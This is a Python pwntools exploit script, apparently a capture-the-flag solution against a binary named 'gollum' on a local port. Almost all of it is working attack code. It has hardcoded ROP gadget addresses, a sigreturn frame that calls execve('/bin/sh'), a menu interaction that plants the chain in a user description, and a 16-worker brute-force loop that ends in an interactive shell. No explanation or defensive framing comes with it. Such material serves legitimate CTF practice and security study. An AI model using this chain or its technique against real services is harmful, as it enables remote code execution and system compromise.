#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 17172 gollum
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'gollum')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 17172)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.STRACE:
        with tempfile.NamedTemporaryFile(prefix='pwnlib-log-', suffix='.strace',
                                         delete=False, mode='w') as tmp:
            log.debug('Created strace log file %r\n', tmp.name)
            run_in_new_terminal(['tail', '-f', '-n', '+1', tmp.name])
            return process(['strace', '-o', tmp.name, '--'] + [exe.path] + argv, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

def num(n):
    return str(n).encode()

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main.main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

from pwnbrute import *

# ADD_RSP = 0x45d0ba #: add rsp, 0x20008 ; ret
ADD_RSP = 0x45d1ba #: add rsp, 0x40008 ; ret
# ADD_RSP = 0x45d2ba #: add rsp, 0x80008 ; ret

POP_RAX = 0x40c9d7                          #: pop rax ; ret
POP_RBX = 0x407dc1                          #: pop rbx ; ret

MOV_PTR_RAX_8_RCX = 0x47fb17                #: mov qword ptr [rax + 8], rcx ; ret
MOV_RCX_RBX_CALL_RAX = 0x45de9f             #: mov rcx, rbx ; call rax
ADD_RSP_8_RET = 0x40e91e                    #: add rsp, 8 ; ret
SYSCALL  = 0x4026ac                         #: syscall
BUF_ADDR = 0x53e000
BUF_VALUE = b'/bin/sh\0'

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = BUF_ADDR
frame.rip = SYSCALL

rop = [
    POP_RAX,
    ADD_RSP_8_RET,
    POP_RBX,
    BUF_VALUE,
    MOV_RCX_RBX_CALL_RAX,

    POP_RAX,
    BUF_ADDR - 8,
    MOV_PTR_RAX_8_RCX,

    POP_RAX,
    constants.SYS_rt_sigreturn,
    SYSCALL,
    frame
]

MENU = b'> '


def pwn():
    io = start()

    # Register user
    io.sendlineafter(MENU, b'register')
    io.sendlineafter(b': ', b'foo')
    io.sendlineafter(b': ', b'bar')
    io.sendlineafter(b': ', b'sha1')

    # Update his description
    io.sendlineafter(MENU, b'update')
    io.sendlineafter(b': ', flat({
        0: ADD_RSP,
        0x1e0: rop,
        0x1000: b'',
    }) * 20)  # Repeat chain to increase exploit probability

    io.sendlineafter(MENU, b'logout')

    # Update `ctx.user` struct
    io.sendlineafter(MENU, b'login')
    io.sendlineafter(b': ', b'foo')
    io.sendlineafter(b': ', b'bar')

    io.sendlineafter(MENU, b'logout')

    # Register user with prepared description
    io.sendlineafter(MENU, b'register')
    io.sendlineafter(b': ', b'hui')
    io.sendlineafter(b': ', b'bar')
    io.sendlineafter(b': ', b'sha1')

    io.sendline(b'echo cleanoutput')
    io.recvuntil(b'cleanoutput')

    success()

    io.interactive()


if __name__ == '__main__':
    brute(pwn, workers=16)